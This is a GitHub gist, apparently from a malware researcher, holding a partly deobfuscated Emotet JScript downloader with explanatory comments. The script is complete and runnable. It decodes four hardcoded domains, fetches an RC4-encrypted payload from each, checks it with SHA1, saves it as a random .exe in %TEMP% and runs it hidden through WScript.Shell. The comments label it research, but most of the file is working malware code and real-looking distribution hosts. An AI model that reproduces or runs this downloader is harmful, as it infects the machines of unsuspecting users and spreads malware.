Skip to content

Instantly share code, notes, and snippets.

@taco-shellcode
Last active June 14, 2018 06:50
Show Gist options
  • Save taco-shellcode/a70f8e53027e7d294e02d720b5be7aec to your computer and use it in GitHub Desktop.
Save taco-shellcode/a70f8e53027e7d294e02d720b5be7aec to your computer and use it in GitHub Desktop.
/*
Some work I did to deobfuscate part some emotet malware I discovered.
*DISCLAIMER - THIS IS ONLY FOR RESEARCH PURPOSES*
*/
var heuc = [49,48,116,105,108,108,99,111,109,46,109,111,110,116,103,111,109,101,114,121,116,101,99,104,46,99,111,109,59,113,97,116,116,114,111,46,97,98,99,119,100,48,46,115,101,101,100,46,102,97,115,116,115,101,99,117,114,101,115,101,114,118,101,114,115,46,99,111,109,59,115,111,117,114,99,101,46,107,98,97,102,46,109,121,122,101,110,46,99,111,46,117,107,59,97,99,115,46,108,101,103,97,99,121,99,111,110,116,114,97,99,116,111,114,115,105,110,99,46,99,111,109];
/*
https://www.branah.com/ascii-converter
49 48 116 105 108 108 99 111 109 46 109 111 110 116 103 111 109 101 114 121 116 101 99 104 46 99 111 109
10tillcom.montgomerytech.com;
113 97 116 116 114 111 46 97 98 99 119 100 48 46 115 101 101 100 46 102 97 115 116 115 101 99 117 114 101 115 101 114 118 101 114 115 46 99 111 109 59 115 111 117 114 99 101 46 107 98 97 102 46 109 121 122 101 110 46 99 111 46 117 107 59 97 99 115 46 108 101 103 97 99 121 99 111 110 116 114 97 99 116 111 114 115 105 110 99 46 99 111 109
qattro.abcwd0.seed.fastsecureservers.com;
source.kbaf.myzen.co.uk;
acs.legacycontractorsinc.com
*/
function d4c5(ksf_) {
var fyx= m35(ray3(o80(ksf_), ksf_.length*8));
var omf_= "0123456789abcdef";
var oa20= "";
for (var i= 0; i<fyx.length; i++) {
var cq_= fyx.charCodeAt(i);
oa20+= omf_.charAt((cq_>>4)&0xF) + omf_.charAt(cq_&0xF);
}
return oa20;
}
function o80(ksf_) {
while (ksf_.length%4!=0)
ksf_+= '\x00';
var crk= new Array();
for (var i= 0; i<ksf_.length; i+= 4) {
crk[crk.length]= (
(ksf_.charCodeAt(i)&0xFF)<<24 | (ksf_.charCodeAt(i+1)&0xFF)<<16 |
(ksf_.charCodeAt(i+2)&0xFF)<<8 | (ksf_.charCodeAt(i+3)&0xFF)
); }
return crk;
}
function m35(crk) {
var ksf_= "";
for (var i=0; i < crk.length; i++) {
var a = (crk[i]>>24)&0xFF;
var b = (crk[i]>>16)&0xFF;
var cq_ = (crk[i]>>8)&0xFF;
var a0z = crk[i]&0xFF;
ksf_ += String.fromCharCode(a, b, cq_, a0z)
}
return ksf_;
}
function ray3(crk, iv5k) {
var tmp_h = [1732584193, -271733879, -1732584194, 271733878, -1009589776];
while (crk.length*32<=iv5k) crk[crk.length]= 0;
crk[crk.length-1]|= 1<<(31-iv5k%32)
while (crk.length%16!=14) crk[crk.length]= 0;
crk[crk.length]= Math.floor(iv5k/0x100000000);
crk[crk.length]= iv5k&0xFFFFFFFF;
var u7_=tmp_h[0], x3bo= tmp_h[1], verd= tmp_h[2], tgup= tmp_h[3], y5i= tmp_h[4];
var a, b, cq_, a0z, e, w_2q, hgs, t51w, w= new Array(80);
for(var uas4= 0; uas4<crk.length; uas4+= 16) {
a= u7_; b= x3bo; cq_= verd; a0z= tgup; e= y5i;
for (var i= 0; i<16; i++) w[i]= crk[uas4+i];
for (; i<80; i++) w[i]= yjwk(w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16], 1);
for(var i= 0; i<80; i++) {
var i_20 = Math.floor(i/(20+5-5));
if (i_20 == 0) {
w_2q = v7g(1518500249, (b & cq_) | ((~b) & a0z));
} else if (i_20 == 1) {
w_2q = v7g(1859775393, b ^ cq_ ^ a0z);
} else if (i_20 == 2) {
w_2q= v7g(-1894007588, (b & cq_) | (b & a0z) | (cq_ & a0z));
} else if (i_20 == 3) {
w_2q= v7g(-899497514, b ^ cq_ ^ a0z);
}
t51w= v7g( v7g(yjwk(a, 5), w[i]), v7g(e, w_2q) );
e= a0z; a0z= cq_; cq_= b; b= a; a= t51w;
cq_= yjwk(cq_, 30);
}
u7_= v7g(u7_, a); x3bo= v7g(x3bo, b); verd= v7g(verd, cq_); tgup= v7g(tgup, a0z); y5i= v7g(y5i, e);
}
return new Array(u7_, x3bo, verd, tgup, y5i);
}
function v7g(a, b) {
var qn59= (a&0xFFFF) + (b&0xFFFF);
var r3qq= (a>>16) + (b>>16) + (qn59>>16);
return (r3qq<<16) | (qn59&0xFFFF);
}
function yjwk(n, qpf) {
return (n<<qpf) | (n>>>(32-qpf));
}
function q0q(s) {
var zgr9 = [], cq_;
for ( var i = 0, yc96 = s.length; i < yc96; ++i ) {
cq_ = s.charCodeAt(i);
zgr9.push(
(cq_ >> 4 ).toString(16),
(cq_ & 0xF ).toString(16));
}
return String.prototype.concat.apply("",zgr9);;
}
function a0t(saho, gcsg) {
var s = [], rykz = 0, x, xr2 = "";
for (var i = 0; i < 256; i++) {
s[i] = i;
}
for (i = 0; i < 256; i++) {
rykz = (rykz + s[i] + saho.charCodeAt(i % saho.length)) % 256;
x = s[i];
s[i] = s[rykz];
s[rykz] = x;
}
i = 0;
rykz = 0;
for (var y = 0; y < gcsg.length; y++) {
i = (i + 1) % 256;
rykz = (rykz + s[i]) % 256;
x = s[i];
s[i] = s[rykz];
s[rykz] = x;
xr2 += String.fromCharCode(gcsg.charCodeAt(y) ^ s[(s[i] + s[rykz]) % 256]);
}
return xr2;
}
function i8n(ad4h) {
var fhg9 = "";
for ( i = 0; i < ( ad4h.length / 2 ); i++ ) {
fhg9 += String.fromCharCode( "0x" + ad4h.substr( i * 2, 2 ) );
}
return fhg9;
}
/*
Catches 2 variables
data which is the GET data from the http request made to the url
su9 which is the random string file name
It loops through all the data returned and checks to see if it is A-Z OR a-z OR 0-9
returns an error code -1 if any character is not alphanumeric
A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,,x,y,z
0,1,2,3,4,5,6,7,8,9
gkm takes the first 40 elements in the data array and passes it to function i8n
*/
function q8s(data, su9) {
var fhg9 = "";
for (var i = 0; i < data.length; i++) {
var o1ek = data.charCodeAt(i);
if (!(o1ek >= 0x41 && o1ek <= 0x5A) && !(o1ek >= 0x61 && o1ek <= 0x7A) && !(o1ek >= 0x30 && o1ek <= 0x39)) {
return -1;
}
}
var gkm = i8n( data.slice(0,40) );
var ftmq = a0t(gkm, i8n( data.slice(40,data.length) ) );
var F = ftmq.slice(0,20);
var wgej = q0q(F);
var vh3 = ftmq.slice(20,ftmq.length);
var ctzn = d4c5(vh3);
if (wgej != ctzn) {
return -1;
}
eag(vh3, su9);
return 1;
}
function eag(data, su9) {
var wbx = new ActiveXObject("ADODB.Stream");
var frc = new ActiveXObject("ADODB.Stream");
var fhg9 = "";
var ei8 = new ActiveXObject("Shell.Application");
wbx.Type = 2;
wbx.Open();
wbx.WriteText(data);
wbx.Position = 0;
frc.Type = 2;
frc.Charset = "ISO-8859-1";
frc.Open();
wbx.CopyTo( frc );
var ppt = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB';
frc.SaveToFile( su9, 2 );
wbx.Close();
frc.Close();
}
/*
Catches 3 variables
lbd = XMLHttpRequest() object
plax = "http://<URL>/webdispathermain.php3"
su9 = C:\Users\<user>\AppData\Local\Temp\<random string>.exe
performs a GET request and if the status is not equal to 200 it will return the error code of -1
If the status is 200 it calls function q8s with the response text and the random string file name
*/
function eqi(lbd, plax, su9) {
try {
lbd.open("GET", plax, false);
lbd.send(null);
if (lbd.status != 200) {
return -1;
}
return q8s(lbd.responseText, su9);
} catch (e) {
return -2;
}
return -3;
}
/*
Is called with the values 6, 8
etjr = 6 + Math.Floor(Math.Random() * 2)); - this will equal 6 or 7 depending on the Math.Floor(Math.Random() * 2)
http://www.asciitable.com/
http://www.utf8-chartable.de/
"01234567\x389\u0041B\x43DEF\x47HIJKLMNOP\x51R\u0053\x54\u0055VWX\x54Zabcdefgh\x69kl\u006dno\x70qrstuv\x77xyz"
\x38 = 8
\u0041 = A
\x43 = C
\x47 = G
\x51 = Q
\u0053 = S
\x54 = T
\u0055 = U
\x54 = T
\x69 = i
\u006d = m
\x70 = p
\x77 = w
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz"
Capital Y is not present in this string, it is replaced with Capital T again
Lowercase j is also not present in the string, but is not replaced by any character
etjr is used as the loop terminator - either 6 or 7
Script then generates a random character string by selecting characters with the substring method
Starts at a random character in the string wh3b and then selects the character next in the string
Example - y4uv += wh3b.substring(60,60+1); = z
var euv = Math.floor(Math.random() * 61);
y4uv += wh3b.substring(euv,euv+1);
Then returns the 6 or 7 character random string
*/
function jyy8(f_p, acwc) {
etjr = f_p + Math.floor(Math.random() * (acwc - f_p));
var wh3b = "01234567\x389\u0041B\x43DEF\x47HIJKLMNOP\x51R\u0053\x54\u0055VWX\x54Zabcdefgh\x69kl\u006dno\x70qrstuv\x77xyz";
var y4uv = "";
for (var nvdk = 0; nvdk < etjr; nvdk++) {
var euv = Math.floor(Math.random() * wh3b.length);
y4uv += wh3b.substring(euv,euv+1);
}
var dgl = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB';
return y4uv;
}
/*
Function edsb takes the path to the tmp file and captures it as the variable zo01
Creates an ADODB.Stream object in as variable a12
Sets the type of the ADODB.Stream to binary data
Sets the mode of the ADODB.Stream to read/write
And then opens the stream object
It then tries to read from the file C:\Users\<user>\AppData\Local\Temp\~eonytxw.tmp
if it fails it tries to write to the stream it then returns with 0 - this exits the script
If it succeeds it returns a 1 and continues the script
*/
function edsb(zo01) {
try {
var a12 = new ActiveXObject("ADODB.Stream");
a12.Type = 1;
a12.Mode = 3;
a12.Open();
try {
a12.LoadFromFile(zo01);
} catch (e) {
a12.SaveToFile(zo01, 2);
}
a12.Close();
return 1;
} catch (e) {
return 0;
}
}
/*
function qo3 takes wvvb wscript.shell object and expands the environment variable %TEMP% into I
then creates variable o1fy that is the full name of the running script
replaces characters in the path name with an empty string
creates variable yv6 that is equal to C:\Users\<user>\AppData\Local\Temp\~eonytxw.tmp
calls function edsb with variable yv6
*/
function qo3(wvvb) {
var I;
try {
I=wvvb.ExpandEnvironmentStrings("%TEMP%");
} catch (e) {
return 0;
};
var o1fy = WScript.ScriptName;
var jzx = o1fy.replace(/\..*/, '' );
var yv6 = I+"\\~"+jzx+".tmp";
return edsb(yv6);
}
/*
variable B catches the string a1qpz
Sets var o_61 = 0
Tests if B == 885 which will always return false
returns o_61 which is 0
*/
function G(B) {
var o_61 = 0;
if (B == "885") {
var i = 0;
for (var i = 0; i < B.length; i++) {
o_61 = i;
break;
}
}
return o_61;
}
/*
Function Q takes the variables t which is the random string file name of the downloaded malware and wvvb as the wscript.shell object
It then executes the malware and exits the function
*/
function Q(t, wvvb) {
wvvb.Run(wvvb.Environment("Process").Item("TEMP") + '\\' + t + ".exe", 0);
}
/*
a5m will capture each url that is passed into the function from the previous code
t calls function jyy8 which generates a 6 or 7 random character string
T = webdispathermain.php3
a12 creates a new ADODB.Stream object
pfrk = wsript.shell.Enviornment("Process")
Tries to call function G with a1qpz which will always return 0 as it tests if 'a1qpz == 885'
creates lbd = new XMLHttpRequest();
calls function eqi with the following parameters:
xml object lbd
"http://" + url + "/" + T "http://10tillcom.montgomerytech.com/webdispathermain.php3"
C:\Users\<user>\AppData\Local\Temp\ + random string file name from t .exe
if the return from eqi is less than 0 it throws an error, otherwise it calls function Q
Function Q is passed t which is the random string filename and wvvb which is the wscript.shell object
*/
function r1u0(a5m) {
var t = jyy8(6,8);
var T = "webd\u0069s\x70\x61thermain.p\x68p\x33";
var o_61 = 1;
var lbd = null;
var a12 = new ActiveXObject("ADODB.Stream");
var pfrk = wvvb.Environment("Process");
var re8h = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB';
try {
if ( !G("a"+"1"+"qp"+"z") ) {
lbd = new XMLHttpRequest();
}
} catch(wopt) {
try {
lbd = new ActiveXObject("\u004d\u0053XM\u004c2.Server\x58MLHTT\x50");
} catch(wopt) {
lbd = new ActiveXObject("Microsoft.XMLHTTP");
}
}
try {
if (!lbd) {
throw "xml object is NULL";
}
if (eqi(lbd, "http://" + a5m + "/" + T, pfrk.Item('T'+'E'+'M'+'P') + '\\' + t + '.'+'exe') < 0) {
throw "get_file() failed";
}
Q(t, wvvb);
} catch (e) {
o_61 = 0;
}
return o_61;
}
//Creates variable wvvb as a wscript.shell object
var wvvb = new ActiveXObject("WScript.Shell");
/*
calls qo3 and passes the wscript.shell object as wvvb
Function qo3 creates a random string file in C:\Users\<user>\AppData\Local\Temp\<string>.tmp
qo3 then calls function edsb on this file to verify read/write access returning 0 if it fails and 1 if it succeeds
If the return is 0 the script exits, if it's 1 it will continue into the else statement
*/
if (qo3(wvvb) == 0) {
} else {
/*
Creates an empty string named abnk and creates an empty array named aqk
Loops through the variable heuc which is an array of ASCII character codes located at the beginning on the script on line 1
If heuc[i] is not equal to 59 which is the ; character it will then append the character to the string held in abnk
If heuc[i] is equal to a semi colon it pushes the string value held in abnk to the array aqk and clears abnk for the next string
10tillcom.montgomerytech.com
qattro.abcwd0.seed.fastsecureservers.com
source.kbaf.myzen.co.uk
acs.legacycontractorsinc.com
*/
var abnk = "";
var aqk = [];
for (var i=0; i < heuc.length; i++) {
if (heuc[i] == 59) {
aqk.push(abnk);
abnk = "";
continue;
}
abnk += String.fromCharCode(heuc[i]);
}
aqk.push(abnk);
/*
Loops through the array aqk that contains the string urls created in the previous loop
calls function r1u0 passing the first url
if the return code is 1 meaning a successful download, the loop will break out
if it is returned as 0 it will pass the next url and try to download malware from another source
*/
for (var nvdk = 0; nvdk < aqk.length; nvdk++) {
if (r1u0(aqk[nvdk]) == 1) {
break;
}
}
}
/* Function tree / map
function qo3
function edsb
function r1u0
function jyy8
function G
function eqi
function q8s
function i8n
function a0t > i8n
function q0q
function d4c5
function Q
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment